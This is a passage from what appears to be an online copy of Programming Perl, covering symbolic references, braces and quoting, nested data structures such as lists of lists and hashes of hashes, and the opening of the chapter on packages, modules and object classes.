${"${$pkg}::$name"} = 5;   # Sets $THAT::bam without eval

This is very powerful, and slightly dangerous, in that it's possible to intend (with the utmost sincerity) to use a hard reference, and accidentally use a symbolic reference instead. To protect against that, you can say:

use strict 'refs';

and then only hard references will be allowed for the rest of the enclosing block. An inner block may countermand that decree with:

no strict 'refs';

It is important to note the difference between the following two lines of code:

${identifier};    # same as $identifier
${"identifier"};  # also $identifier, but treated as symbolic reference

Because the second form is treated as a symbolic reference, it will generate an error under use strict 'refs'.

Only package variables are visible to symbolic references. Lexical variables (declared with my) aren't in a package symbol table, and thus are invisible to this mechanism. For example:

local $value  = "10";
{
    my $value = "20";
    print ${"value"};
}

This will print "10", not "20". Remember that local affects package variables, which are all global to the package.

Previous: 4.3 Using Hard References | Programming Perl | Next: 4.5 Braces, Brackets, and Quoting
4.3 Using Hard References | Book Index | 4.5 Braces, Brackets, and Quoting


[Chapter 4] 4.5 Braces, Brackets, and Quoting

Programming PerlSearch this book

4.5 Braces, Brackets, and Quoting

In the previous section we pointed out that ${identifier} is not treated as a symbolic reference. Now you might wonder how this interacts with reserved words. The short answer is, it doesn't. Despite the fact that push is a reserved word, these two statements:

$push = "pop on ";
print "${push}over";

print out "pop on over". The reason is that, historically, this use of braces is how UNIX shells have delimited a variable name from subsequent alphanumeric text that would otherwise be interpreted as part of the variable name. It's how many people expect variable interpolation to work, so we made it work the same way in Perl. But with Perl, the notion extends further and applies to any braces used in generating references, whether or not they're inside quotes. This means that:

print ${push} . 'over';

or even:

print ${ push } . 'over';

will also print "pop on over", even though the braces are outside of double quotes. The same rule applies to any identifier that is used for subscripting a hash. So, instead of writing:

$hash{ "aaa" }{ "bbb" }{ "ccc" }

you can just write:

$hash{ aaa }{ bbb }{ ccc }

and not worry about whether the subscripts are reserved words. In the rare event that you do wish to do something like:

$hash{ shift }

you can force interpretation as a reserved word by adding anything that makes it more than a mere identifier:

$hash{ shift() }
$hash{ +shift }
$hash{ shift @_ }

The -w switch will warn you if it interprets a reserved word as a string, since you may have meant the reserved word. (That's why we recommend you use ${pkg} instead of ${package} or ${pack}, since you'll avoid some warnings that way.)

4.5.1 Hard References Don't Work as Hash Keys

Consistent with the foregoing, hash keys are stored internally as strings.[7] If you try to store a hard reference as a key in a hash, the key value will be converted into a string:

[7] They're also stored externally as strings, such as when you put them into a DBM file. In fact, DBM files require that their keys (and values) be strings.

$x{ \$a } = $a;
($key, $value) = each %x;
print $$key;   # WRONG

We mentioned earlier that you can't convert a string back to a hard reference. So if you try to dereference $key, which contains a mere string, it won't do a hard dereference, but rather a symbolic dereference, and since you probably don't have a variable named SCALAR(0x1fc0e), you won't accomplish what you're attempting. You might want to do something more like:

$r = \@a;
$x{ $r } = $r;

And then at least you can use the hash value, which will be a hard reference, instead of the key, which won't.

Although you can't store a hard reference as a key, if you use a hard reference in a string context, it is guaranteed to produce a unique string, since the address of the reference is included as part of the resulting string. So you can in fact use a hard reference as a unique hash key. You just can't dereference it later.

Previous: 4.4 Symbolic References | Programming Perl | Next: 4.6 A Brief Tutorial: Manipulating Lists of Lists
4.4 Symbolic References | Book Index | 4.6 A Brief Tutorial: Manipulating Lists of Lists


[Chapter 4] 4.6 A Brief Tutorial: Manipulating Lists of Lists

Programming PerlSearch this book

4.6 A Brief Tutorial: Manipulating Lists of Lists

There are many kinds of nested data structures. The simplest kind to build is a list of lists (also called an array of arrays, or a multi-dimensional array). It's reasonably easy to understand, and almost everything that applies here will also be applicable to the fancier data structures.

4.6.1 Composition and Access

Here's how to put together a two-dimensional array value:

# assign to an array a list of list references
@LoL = (
       [ "fred", "barney" ],
       [ "george", "jane", "elroy" ],
       [ "homer", "marge", "bart" ],
);

print $LoL[2][2];   # prints "bart"

The overall list is enclosed by parentheses, not brackets. That's because you're assigning a list to an array. If you didn't want the result to be a list, but rather a reference to an array, then you would use brackets on the outside:

# assign to a scalar variable a reference to a list of list references
$ref_to_LoL = [
    [ "fred", "barney", "pebbles", "bambam", "dino", ],
    [ "homer", "bart", "marge", "maggie", ],
    [ "george", "jane", "elroy", "judy", ],
];

print $ref_to_LoL->[2][2];   # prints "elroy"

$ref_to_LoL is a reference to an array, whereas @LoL is an array proper. The parentheses (indicating a list) have changed to brackets (indicating the creation of a reference to an array). Unlike C, Perl doesn't allow you to freely interchange arrays with references to arrays. This is a feature.

Remember that there is an implied -> between every pair of adjacent braces or brackets. Therefore these two lines:

$LoL[2][2]
$ref_to_LoL->[2][2]

are equivalent to these two lines:

$LoL[2]->[2]
$ref_to_LoL->[2]->[2]

There is, however, no implied -> before the first pair of brackets, which is why the dereference of $ref_to_LoL requires the ->.

4.6.2 Growing Your Own

Now those big list assignments are well and good for creating a fixed data structure, but what if you want to calculate each element on the fly, or otherwise build the structure piecemeal?

First, let's look at reading a data structure in from a file. We'll assume that there's a flat file in which each line is a row of the structure, and each word an element. Here's how to proceed:

while (<>) {
    @tmp = split;
    push @LoL, [ @tmp ];
}

You can also load the array from a function:

for $i ( 1 .. 10 ) {
    @tmp = somefunc($i);
    $LoL[$i] = [ @tmp ];
}

Of course, you don't need to name the temporary array:

while (<>) {
    push @LoL, [ split ];
}

and:

for $i ( 1 .. 10 ) {
    $LoL[$i] = [ somefunc($i) ];
}

You also don't have to use push. You could keep track of where you are in the array, and assign each line of the file to the appropriate row of the array:

my (@LoL, $i, $line);
for $i ( 0 .. 10 ) { # just first 11 lines
    $line = <>;
    $LoL[$i] = [ split ' ', $line ];
}

Simplifying, you can avoid the assignment of the line to a mediating variable:

my (@LoL, $i);
for $i ( 0 .. 10 ) { # just first 11 lines
    $LoL[$i] = [ split ' ', <> ];
}

In general, you should be leery of using potential list functions like <> in a scalar context without explicitly stating such. The following example would be clearer to the casual reader:

my (@LoL, $i);
for $i ( 0 .. 10 ) { # just first 11 lines
    $LoL[$i] = [ split ' ', scalar(<>) ];
}

If you want a $ref_to_LoL variable as a reference to an array, do something like:

my $ref_to_LoL;
while (<>) {
    push @$ref_to_LoL, [ split ];
}

So much for adding new rows to the list of lists. What about adding new columns? If you're just dealing with matrices, it's often easiest to use simple assignment:

for $x (1 .. 10) {
    for $y (1 .. 10) {
        $LoL[$x][$y] = func($x, $y);
    }
}

for $x ( 3, 7, 9 ) {
    $LoL[$x][20] += func2($x);
}

It doesn't matter whether the subscripted elements of @LoL are already there or not; Perl will gladly create them for you, setting intervening elements to the undefined value as need be. If you just want to append to a row, you have to do something a bit funnier looking:

# add new columns to an existing row
push @{ $LoL[0] }, "wilma", "betty";

Notice that this wouldn't work:

push $LoL[0], "wilma", "betty";  # WRONG!

In fact, that wouldn't even compile, because the argument to push must be a real array, not just a reference to an array. Therefore, the first argument absolutely must begin with an @ character. What comes after the @ is somewhat negotiable.

4.6.3 Access and Printing

Now it's time to print your data structure. If you only want one element, do this:

print $LoL[0][0];

If you want to print the whole thing, though, you can't just say:

print @LoL;         # WRONG

because you'll get references listed, and Perl will never automatically dereference thingies for you. Instead, you have to roll yourself a loop or two. The following code prints the whole structure, using the shell-style for construct to loop through the outer set of subscripts:

for $array_ref ( @LoL ) {
    print "\t [ @$array_ref ],\n";
}

Beware of the brackets. In this and the following example, the (non-subscripting) brackets do not indicate the creation of a reference. The brackets occur inside a quoted string, not in a place where a term is expected, and therefore lose their special meaning. They are just part of the string that print outputs.

If you want to keep track of subscripts, you might do this:

for $i ( 0 .. $#LoL ) {
    print "\t element $i is [ @{$LoL[$i]} ],\n";
}

or maybe even this (notice the inner loop):

for $i ( 0 .. $#LoL ) {
    for $j ( 0 .. $#{$LoL[$i]} ) {
        print "element $i $j is $LoL[$i][$j]\n";
    }
}

As you can see, things are getting a bit complicated. That's why sometimes it's easier to use a temporary variable on your way through:

for $i ( 0 .. $#LoL ) {
    $aref = $LoL[$i];
    for $j ( 0 .. $#{$aref} ) {
        print "element $i $j is $aref->[$j]\n";
    }
}

But that's still a bit ugly. How about this:

for $i ( 0 .. $#LoL ) {
    $aref = $LoL[$i];
    $n = @$aref - 1;
    for $j ( 0 .. $n ) {
        print "element $i $j is $aref->[$j]\n";
    }
}

4.6.4 Slices

If you want to get at a slice (part of a row) in a multi-dimensional array, you're going to have to do some fancy subscripting. That's because, while we have a nice synonym for a single element via the pointer arrow, no such convenience exists for slices. However, you can always write a loop to do a slice operation.

Here's how to create a one-dimensional slice of one subarray of a two-dimensional array, using a loop. We'll assume a list-of-lists variable (rather than a reference to a list of lists):

@part = ();
$x = 4;
for ($y = 7; $y < 13; $y++) {
    push @part, $LoL[$x][$y];
}

That same loop could be replaced with a slice operation:

@part = @{ $LoL[4] } [ 7..12 ];

If you want a two-dimensional slice, say, with $x running from 4..8 and $y from 7..12, here's one way to do it:

@newLoL = ();
for ($startx = $x = 4; $x <= 8; $x++) {
    for ($starty = $y = 7; $y <= 12; $y++) {
        $newLoL[$x - $startx][$y - $starty] = $LoL[$x][$y];
    }
}

In this example, the individual values within each subarray of @newLoL are assigned one by one, taken from the appropriate locations in @LoL. An alternative is to create anonymous arrays, each consisting of a desired slice of a subarray of @LoL, and then put references to these anonymous arrays into @newLoL. So we are writing references into @newLoL (subscripted once, so to speak) instead of subarray values into a twice-subscripted @newLol. This method eliminates the innermost loop:

for ($x = 4; $x <= 8; $x++) {
    push @newLoL, [ @{ $LoL[$x] } [ 7..12 ] ];
}

Of course, if you do this very often, you should probably write a subroutine called something like extract_rectangle().

4.6.5 Common Mistakes

As mentioned previously, every array or hash in Perl is implemented in one dimension. "Multi-dimensional" arrays, too, are one-dimensional, but the values in this one-dimensional array are references to other data structures. If you print these values out without dereferencing them, you will get the references rather than the data referenced. For example, these two lines:

@LoL = ( [2, 3], [4, 5, 7], [0] );
print "@LoL";

result in:

ARRAY(0x83c38) ARRAY(0x8b194) ARRAY(0x8b1d0)

On the other hand, this line:

print $LoL[1][2];

yields 7 as output.

Perl dereferences your variables only when you employ one of the dereferencing mechanisms. But remember that $LoL[1][2] is just a convenient way to write $LoL[1]->[2], which in turn is a convenient way to write ${$LoL[1]}[2]. Indeed, you could write all your dereferencing operations with braces, but that would be uglier than ugly. Use the syntactic sugar Perl provides to sweeten your program.

@LoL was defined as an array whose values happened to be references. Here's a similar-looking, but very different case:

my $listref = [
    [ "fred", "barney", "pebbles", "bambam", "dino", ],
    [ "homer", "bart", "marge", "maggie", ],
    [ "george", "jane", "elroy", "judy", ],
];

print $listref[2][2];   # WRONG!

Here, $listref is not an array, but a scalar variable referring to an array - in this case, referring to an anonymous, multi-dimensional array, the one created by the outer brackets. Therefore, to print elroy in this example, we should have said:

print $listref->[2][2];

By contrast, $listref[2] in the erroneous print statement is the second element in a not-yet-declared array. If you ask to

use strict 'vars'; # or just use strict

then the use of the undeclared array will be flagged as an error at compile time.

In constructing an array of arrays, remember to take a reference for the daughter arrays. Otherwise, you will just create an array containing the element counts of the daughter arrays, like this:

for $i (1..10) {
    @list = somefunc($i);
    $LoL[$i] = @list;       # WRONG!
}

Here @list is being accessed in a scalar context, and therefore yields a count of its elements, which is assigned to $LoL[$i]. The proper way to take the reference will be shown in a moment.

Another common error involves taking a reference to the same memory location over and over again:

for $i (1..10) {
    @list = somefunc($i);
    $LoL[$i] = \@list;      # WRONG!
}

Every reference generated by the second line of the for loop is the same, namely, a reference to the single array @list. Yes, this array is being given a different set of values on each pass through the loop, but when everything is said and done, $LoL contains a set of identical references to the same array, which now holds the last set of values that were assigned to it.

Here's a more successful approach:

for $i (1..10) {
    @list = somefunc($i);
    $LoL[$i] = [ @list ];
}

The brackets make a reference to a new array with a copy of what's in @list at the time of the assignment.

A similar result - though much more difficult to read - would be produced by:

for $i (1..10) {
    @list = somefunc($i);
    @{$LoL[$i]} = @list;
}

Since $LoL[$i] needs to be a reference, the reference springs into existence. Then, the preceding @ dereferences this new reference, with the result that the values of @list are assigned (in list context) to the array referenced by $LoL[$i]. For clarity's sake, you might wish to avoid this construct.

But there is a situation in which you might use it. Suppose @LoL is already an array of references to arrays. That is, suppose you had made assignments like:

$LoL[3] = \@original_list;

And now suppose that you want to change @original_list (that is, you want to change the fourth row of $LoL) so that it refers to the elements of @list. This code will work:

@{$LoL[3]} = @list;

In this case, the reference itself does not change, but the elements of the array being referred to do. You need to be aware, however, that this approach overwrites the values of @original_list.

Finally, the following dangerous-looking code actually works fine:

for $i (1..10) {
    my @list = somefunc($i);
    $LoL[$i] = \@list;
}

That's because the my variable is created afresh each time through the loop. So even though it looks as though you stored the same variable reference each time, you actually did not. This is a subtle distinction, but the technique can produce more efficient code, at the risk of misleading less enlightened programmers. It's more efficient because there's no copy in the final assignment. On the other hand, if you have to copy the values anyway (which the first assignment above is doing), then you might as well use the copy implied by the brackets and avoid the temporary variable:

for $i (1..10) {
    $LoL[$i] = [ somefunc($i) ];
}

In summary:

$LoL[$i] = [ @list ];   # safest, sometimes fastest
$LoL[$i] = \@list;      # fast but risky, depends on my-ness of list
@{ $LoL[$i] } = @list;  # too tricky for most uses

Previous: 4.5 Braces, Brackets, and Quoting | Programming Perl | Next: 4.7 Data Structure Code Examples
4.5 Braces, Brackets, and Quoting | Book Index | 4.7 Data Structure Code Examples


[Chapter 4] 4.7 Data Structure Code Examples

Programming PerlSearch this book

4.7 Data Structure Code Examples

Once you've mastered creating and using multi-dimensional arrays (lists of lists), you'll want to be able to make more complex data structures. If you're looking for C structures or Pascal records, you won't find any special reserved words in Perl to set these up for you. What you get instead is a more flexible system.[8] Perl has just two ways of organizing data: either as ordered lists stored in arrays and accessed by position, or as unordered key/value pairs stored in hashes and accessed by name.

[8] If your idea of a record structure is less flexible than this, or if you'd like to provide your users with something more opaque and rigid, then you can use the object-oriented features detailed in Chapter 5.

The best way to represent a record in Perl is using a hash reference, but how you choose to organize such records will vary. You may wish to keep an ordered list of these records around that you can look up by number, in which case you'd use an array to store the records (hash references). But you might wish to look up the records by name, in which case you'd store them in another hash. You could even do both at once: the array and the hash could each hold references to the same records, which are after all just anonymous hash thingies, and each one can have as many references to it as you want, within reason.[9]

[9] Where reason is defined as 2**32 references, minus one. That's probably sufficient for most folks.

In the following sections you will find code examples detailing how to compose, generate, access, and print out each of five data structures. The first four examples are straightforward homogeneous combinations of arrays and hashes, while the last one demonstrates how to use a less regular data structure. These examples, presented with little comment, assume that you have already familiarized yourself with the earlier explanations set forth in this chapter.

4.7.1 Arrays of Arrays

Use an array of arrays when you want a basic two-dimensional matrix. One application might include making a list of all the hosts on your network, but each of these hosts would have several possible aliases. Another might be a list of daily menus, each of which would itself be a list of foods served in it. For our example, we'll keep several lists of famous television characters, all stored together in one large list of lists.

4.7.1.1 Composition of an array of arrays

@LoL = (
    [ "fred", "barney" ],
    [ "george", "jane", "elroy" ],
    [ "homer", "marge", "bart" ],
);

4.7.1.2 Generation of an array of arrays

# reading from a file
while ( <> ) {
    push @LoL, [ split ];
}

# calling a function
for $i ( 1 .. 10 ) {
    $LoL[$i] = [ somefunc($i) ];
}

# using temp vars
for $i ( 1 .. 10 ) {
    @tmp = somefunc($i);
    $LoL[$i] = [ @tmp ];
}

# add to an existing row
push @{ $LoL[0] }, "wilma", "betty";

4.7.1.3 Access and printing of an array of arrays

# one element
$LoL[0][0] = "Fred";

# another element
$LoL[1][1] =~ s/(\w)/\u$1/;

# print the whole thing with refs
for $array_ref ( @LoL ) {
    print "\t [ @$array_ref ],\n";
}

# print the whole thing with indices
for $i ( 0 .. $#LoL ) {
    print "\t [ @{$LoL[$i]} ],\n";
}

# print the whole thing one at a time
for $i ( 0 .. $#LoL ) {
    for $j ( 0 .. $#{$LoL[$i]} ) {
        print "element $i $j is $LoL[$i][$j]\n";
    }
}

4.7.2 Hashes of Arrays

Use a hash of arrays when you want to look up each array by a particular string rather than merely by an index number. In our example of television characters, rather than merely looking up the list of names by the zeroth show, the first show, and so on, we'll set it up so we can look up the cast list according to the name of the show.

Because our outer data structure is a hash, we've lost all ordering of its contents. That means when you print it out, you can't predict the order things will come out. You can call the sort function and print its result if you'd like a particular output order.

4.7.2.1 Composition of a hash of arrays

# we customarily omit quotes when keys are identifiers
%HoL = (
    flintstones    => [ "fred", "barney" ],
    jetsons        => [ "george", "jane", "elroy" ],
    simpsons       => [ "homer", "marge", "bart" ],
);

4.7.2.2 Generation of a hash of arrays

# reading from file with the following format:
# flintstones: fred barney wilma dino
while ( <> ) {
    next unless s/^(.*?):\s*//;
    $HoL{$1} = [ split ];
}

# reading from file; more temporary variables
# flintstones: fred barney wilma dino
while ( $line = <> ) {
    ($who, $rest) = split /:\s*/, $line, 2;
    @fields = split ' ', $rest;
    $HoL{$who} = [ @fields ];
}

# calling a function that returns an array
for $group ( "simpsons", "jetsons", "flintstones" ) {
    $HoL{$group} = [ get_family($group) ];
}

# likewise, but using temporary variables
for $group ( "simpsons", "jetsons", "flintstones" ) {
    @members = get_family($group);
    $HoL{$group} = [ @members ];
}

# append new members to an existing family
push @{ $HoL{flintstones} }, "wilma", "betty";

4.7.2.3 Access and printing of a hash of arrays

# one element
$HoL{flintstones}[0] = "Fred";

# another element
$HoL{simpsons}[1] =~ s/(\w)/\u$1/;

# print the whole thing
foreach $family ( keys %HoL ) {
    print "$family: @{ $HoL{$family} }\n";
}
# print the whole thing with indices
foreach $family ( keys %HoL ) {
    print "$family: ";
    foreach $i ( 0 .. $#{ $HoL{$family} } ) {
        print " $i = $HoL{$family}[$i]";
    }
}
print "\n";

# print the whole thing sorted by number of members
foreach $family ( sort { @{$HoL{$b}} <=> @{$HoL{$a}} } keys %HoL ) {
    print "$family: @{ $HoL{$family} }\n"
}
# print the whole thing sorted by number of members and name
foreach $family ( sort { @{$HoL{$b}} <=> @{$HoL{$a}} } keys %HoL ) {
    print "$family: ", join(", ", sort @{ $HoL{$family} }), "\n";
}

4.7.3 Arrays of Hashes

An array of hashes is called for when you have a bunch of records that you'd like to access sequentially, but each record itself contains key/value pairs. These arrays tend to be used less frequently than the other homogeneous data structures.

4.7.3.1 Composition of an array of hashes

@LoH = (
    {
       lead     => "fred",
       friend   => "barney",
    },
    {
       lead    => "george",
       wife    => "jane",
       son     => "elroy",
    },
    {
       lead    => "homer",
       wife    => "marge",
       son     => "bart",
    },
  );

4.7.3.2 Generation of an array of hashes

# reading from file
# format: lead=fred friend=barney
while ( <> ) {
    $rec = {};
    for $field ( split ) {
        ($key, $value) = split /=/, $field;
        $rec->{$key} = $value;
    }
    push @LoH, $rec;
}

# reading from file
# format: lead=fred friend=barney
# no temp
while ( <> ) {
    push @LoH, { split /[\s=]+/ };
}

# calling a function that returns a key,value array, like
# "lead","fred","daughter","pebbles"
while ( %fields = getnextpairset() ) {
    push @LoH, { %fields };
}

# likewise, but using no temp vars
while (<>) {
    push @LoH, { parsepairs($_) };
}

# add key/value to an element
$LoH[0]{pet} = "dino";
$LoH[2]{pet} = "santa's little helper";

4.7.3.3 Access and printing of an array of hashes

# one element
$LoH[0]{lead} = "fred";

# another element
$LoH[1]{lead} =~ s/(\w)/\u$1/;

# print the whole thing with refs
for $href ( @LoH ) {
    print "{ ";
    for $role ( keys %$href ) {
         print "$role=$href->{$role} ";
    }
    print "}\n";
}

# print the whole thing with indices
for $i ( 0 .. $#LoH ) {
    print "$i is { ";
    for $role ( keys %{ $LoH[$i] } ) {
         print "$role=$LoH[$i]{$role} ";
    }
    print "}\n";
}

# print the whole thing one at a time
for $i ( 0 .. $#LoH ) {
    for $role ( keys %{ $LoH[$i] } ) {
         print "element $i $role is $LoH[$i]{$role}\n";
    }
}

4.7.4 Hashes of Hashes

A multi-dimensional hash is the most flexible of Perl's homogeneous structures. It's like building up a record that itself contains other records. At each level you index into the hash with a string (quoted if it contains spaces). Remember, however, that the key/value pairs in the hash won't come out in any particular order. You must do your own sorting if the order matters.

4.7.4.1 Composition of a hash of hashes

%HoH = (
    flintstones => {
        lead      => "fred",
        pal       => "barney",
    },
    jetsons => {
        lead      => "george",
        wife      => "jane",
        "his boy" => "elroy",  # key quotes needed
    },
    simpsons => {
        lead      => "homer",
        wife      => "marge",
        kid       => "bart",
    },
);

4.7.4.2 Generation of a hash of hashes

# reading from file
# flintstones: lead=fred pal=barney wife=wilma pet=dino
while ( <> ) {
    next unless s/^(.*?):\s*//;
    $who = $1;
    for $field ( split ) {
        ($key, $value) = split /=/, $field;
        $HoH{$who}{$key} = $value;
    }
}

# reading from file; more temporary variables
while ( <> ) {
    next unless s/^(.*?):\s*//;
    $who = $1;
    $rec = {};
    $HoH{$who} = $rec;
    for $field ( split ) {
        ($key, $value) = split /=/, $field;
        $rec->{$key} = $value;
    }
}

# calling a function that returns a key,value for the inner hash
for $group ( "simpsons", "jetsons", "flintstones" ) {
    $HoH{$group} = { get_family($group) };
}

# likewise, but using temporary variables
for $group ( "simpsons", "jetsons", "flintstones" ) {
    %members = get_family($group);
    $HoH{$group} = { %members };
}

# calling a function that returns the outer hash, including
# references to the created inner hashes
sub hash_families {
    my @ret;
    foreach $group ( @_ ) {
        push @ret, $group, { get_family($group) };
    }
    @ret;
}
%HoH = hash_families( "simpsons", "jetsons", "flintstones" );

# append new members to an existing family
%new_folks = (
    wife => "wilma",
    pet  => "dino";
);
for $what (keys %new_folks) {
    $HoH{flintstones}{$what} = $new_folks{$what};
}

4.7.4.3 Access and printing of a hash of hashes

# one element
$HoH{flintstones}{wife} = "wilma";

# another element
$HoH{jetsons}{'his boy'} =~ s/(\w)/\u$1/;

# print the whole thing
foreach $family ( keys %HoH ) {
    print "$family: ";
    foreach $role ( keys %{ $HoH{$family} } ) {
         print "$role=$HoH{$family}{$role} ";
    }
    print "\n";
}

# print the whole thing, using temporaries
while ( ($family,$roles) = each %HoH ) {
    print "$family: ";
    while ( ($role,$person) = each %$roles ) {  # using each precludes sorting
        print "$role=$person ";
    }
    print "\n";
}

# print the whole thing somewhat sorted
foreach $family ( sort keys %HoH ) {
    print "$family: ";
    foreach $role ( sort keys %{ $HoH{$family} } ) {
         print "$role=$HoH{$family}{$role} ";
    }
    print "\n";
}

# print the whole thing sorted by number of members
foreach $family ( sort { keys %{$HoH{$a}} <=> keys %{$HoH{$b}} } keys %HoH ) {
    print "$family: ";
    foreach $role ( sort keys %{ $HoH{$family} } ) {
         print "$role=$HoH{$family}{$role} ";
    }
    print "\n";
}

# establish a sort order (rank) for each role
$i = 0;
for ( qw(lead wife son daughter pal pet) ) { $rank{$_} = ++$i }

# now print the whole thing sorted by number of members
foreach $family ( sort { keys %{$HoH{$a}} <=> keys %{$HoH{$b}} } keys %HoH ) {
    print "$family: ";

    # and print these according to rank order
    foreach $role ( sort { $rank{$a} <=> $rank{$b} } keys %{ $HoH{$family} } ) {
        print "$role=$HoH{$family}{$role} ";
    }
    print "\n";
}

4.7.5 More Elaborate Records

Those were simple, two-level, homogeneous data structures: each element contains the same kind of thingy as all the other elements do. It certainly doesn't have to be that way. Any element can hold any kind of scalar, which means that it could be a string, a number, or a reference to anything at all, including more exotic things than just array or hash references, such as references to named or anonymous functions or opaque objects. The only thing you can't do is to put more than one kind of thingy into a given scalar simultaneously. If you find yourself trying to do that, it's a signal that you need to establish an array or hash at the next lower level to handle the different types of thingy you're trying to overlay.

Below you will find code examples designed to illustrate all the possible kinds of things you might want to keep in a record. For our base structure, we'll use a hash reference. The keys are uppercase strings, a convention sometimes employed when the hash is being used as a specific record type rather than as a more generic associative array.

4.7.5.1 Composition of more elaborate records

This shows how to create and use a record whose fields are of many sorts:

$rec = {
    TEXT      => $string,
    SEQUENCE  => [ @old_values ],
    LOOKUP    => { %some_table },
    THATCODE  => \&some_function,
    THISCODE  => sub { $_[0] ** $_[1] },
    HANDLE    => \*STDOUT,
};

print $rec->{TEXT};

print $rec->{SEQUENCE}[0];
$last = pop @{ $rec->{SEQUENCE} };

print $rec->{LOOKUP}{"key"};
($first_k, $first_v) = each %{ $rec->{LOOKUP} };

# no difference calling named or anonymous subs
$answer = &{ $rec->{THATCODE} }($arg);
$answer = &{ $rec->{THISCODE} }($arg1, $arg2);

# must have extra braces on indirect object slot
print { $rec->{HANDLE} } "a string\n";

use FileHandle;
$rec->{HANDLE}->autoflush(1);
$rec->{HANDLE}->print("a string\n");

4.7.5.2 Composition of more elaborate records

%TV = (
    flintstones => {
        series   => "flintstones",
        nights   => [ qw(monday thursday friday) ],
        members  => [
            { name => "fred",    role => "lead", age  => 36, },
            { name => "wilma",   role => "wife", age  => 31, },
            { name => "pebbles", role => "kid",  age  =>  4, },
        ],
    },

    jetsons     => {
        series   => "jetsons",
        nights   => [ qw(wednesday saturday) ],
        members  => [
            { name => "george",  role => "lead", age  => 41, },
            { name => "jane",    role => "wife", age  => 39, },
            { name => "elroy",   role => "kid",  age  =>  9, },
        ],
     },

    simpsons    => {
        series   => "simpsons",
        nights   => [ qw(monday) ],
        members  => [
            { name => "homer", role => "lead", age => 34, },
            { name => "marge", role => "wife", age => 37, },
            { name => "bart",  role => "kid",  age => 11, },
        ],
     },
  );

4.7.5.3 Generation of a hash of complex records

Because Perl is quite good at parsing complex data structures, you might just put your data declarations in a separate file as regular Perl code and then load them in with do or require. See Chapter 3, Functions, for details on those functions.

# here's a piece by piece build up
$rec = {};
$rec->{series} = "flintstones";
$rec->{nights} = [ find_days() ];

@members = ();
# assume this file is in field=value syntax
while (<>) {
     %fields = split /[\s=]+/;
     push @members, { %fields };
}
$rec->{members} = [ @members ];

# now remember the whole thing
$TV{ $rec->{series} } = $rec;

You can use extra pointer fields to avoid duplicate data. For example, you might want a "kids" field included in a person's record. This could be a reference to a list consisting of references to the kids' own records. That way you avoid the update problems that result from having the same data in two places.

foreach $family (keys %TV) {
    my $rec = $TV{$family}; # temp pointer
    @kids = ();
    for $person ( @{$rec->{members}} ) {
        if ($person->{role} =~ /kid|son|daughter/) {
            push @kids, $person;
        }
    }
    # REMEMBER: $rec and $TV{$family} point to same data!!
    $rec->{kids} = [ @kids ];
}
# you copied the array, but the array itself contains pointers to
# uncopied objects. this means that if you make bart get older via

$TV{simpsons}{kids}[0]{age}++;

# then this would also change here
print $TV{simpsons}{members}[2]{age};

# because $TV{simpsons}{kids}[0] and $TV{simpsons}{members}[2]
# both point to the same underlying anonymous hash table

# print the whole thing
foreach $family ( keys %TV ) {
    print "the $family";
    print " is on during @{ $TV{$family}{nights} }\n";
    print "its members are:\n";
    for $who ( @{ $TV{$family}{members} } ) {
        print " $who->{name} ($who->{role}), age $who->{age}\n";
    }
    print "it turns out that $TV{$family}{'lead'} has ";
    print scalar ( @{ $TV{$family}{kids} } ), " kids named ";
    print join (", ", map { $_->{name} } @{ $TV{$family}{kids} } );
    print "\n";
}

Previous: 4.6 A Brief Tutorial: Manipulating Lists of Lists | Programming Perl | Next: 5. Packages, Modules, and Object Classes
4.6 A Brief Tutorial: Manipulating Lists of Lists | Book Index | 5. Packages, Modules, and Object Classes


[Chapter 5] Packages, Modules, and Object Classes

Programming PerlSearch this book
Previous: 4.7 Data Structure Code Examples Chapter 5 Next: 5.2 Modules

5. Packages, Modules, and Object Classes

Contents:
Packages
Modules
Objects
Using Tied Variables
Some Hints About Object Design

This chapter, more than any other in this book, is about Laziness, Impatience, and Hubris - because this chapter is about good software design.

We've all fallen into the trap of using cut-and-paste when we should have chosen to define a higher-level abstraction, if only just a loop or subroutine.[1] To be sure, some folks have gone to the opposite extreme of defining ever-growing mounds of higher-level abstractions when they should have used cut-and-paste.[2] Generally, though, most of us need to think about using more abstraction rather than less.

[1] This is a form of False Laziness.

[2] This is a form of False Hubris.

(Caught somewhere in the middle are the people who have a balanced view of how much abstraction is good, but who jump the gun on writing their own abstractions when they should be reusing existing code.)[3]

[3] You guessed it, this is False Impatience. But if you're determined to reinvent the wheel, at least try to invent a better one.

Whenever you're tempted to do any of these things, you need to sit back and think about what will do the most good for you and your neighbor over the long haul. If you're going to pour your creative energies into a lump of code, why not make the world a better place while you're at it? (Even if you're only aiming for the program to succeed, you need to make sure it fits its ecological niche.)

The first step toward ecologically sustainable programming is simply: don't litter in the park. When you write a chunk of code, think about giving the code its own namespace, so that your variables and functions don't clobber anyone else's, or vice versa. A namespace is a bit like your home, where you're allowed to be as messy as you like, as long as you keep your external interface to other citizens moderately civil. In Perl, a namespace is called a package. Packages provide the fundamental building block upon which the higher-level concepts of modules and classes are constructed.

Like the notion of "home", the notion of "package" is a bit nebulous. Packages are independent of files. You can have many packages in a single file, or a single package that spans several files, just as your home could be one part of a larger building, if you live in an apartment, or could comprise several buildings, if your name happens to be Queen Elizabeth. But the usual size of a home is one building, and the usual size of a package is one file. Perl has some special help for people who want to put one package in one file, as long as you're willing to name the file with the same name as the package and give your file an extension of ".pm", which is short for "perl module". The module is the unit of reusability in Perl. Indeed, the way you use a module is with the use command, which is a compiler directive that controls the importation of functions and variables from a module. Every example of use you've seen until now has been an example of module reuse.

Object classes are another concept built on the package concept. The concept of classes therefore cuts across the concepts of files and modules. But the typical class is nevertheless implemented with a module. (If you're starting to get the feeling that much of Perl culture is governed by mere convention, then you're starting to get the right feeling, civilly speaking. The trend over the last 20 years or so has been to design computer languages that enforce a state of paranoia. You're expected to program every module as if it were in a state of siege. Certainly there are some feudal cultures where this is appropriate, but not all cultures are like this. In Perl culture, by contrast, you're expected to stay out of someone's home because you weren't invited in, not because there are bars[4] on the windows.)

[4] But Perl provides some bars if you want them, too. See the Safe module in Chapter 7, The Standard Perl Library, for instance.

Anyway, back to classes. When you use a module that implements a class, you're benefiting from the direct reuse of the software that implements that module. But with object classes you can get the additional benefits of indirect software reuse when the class you're using turns around and reuses other classes that it gets some characteristics from. But this is not primarily a book about object-oriented methodology, and we're not here to convert you into a raving object-oriented zealot, even if you want to be converted. There are already plenty of books out there for that. Perl's philosophy of object-oriented design fits right in with Perl's philosophy of everything else: use object-oriented design where it makes sense, and avoid it where it doesn't. Your call.

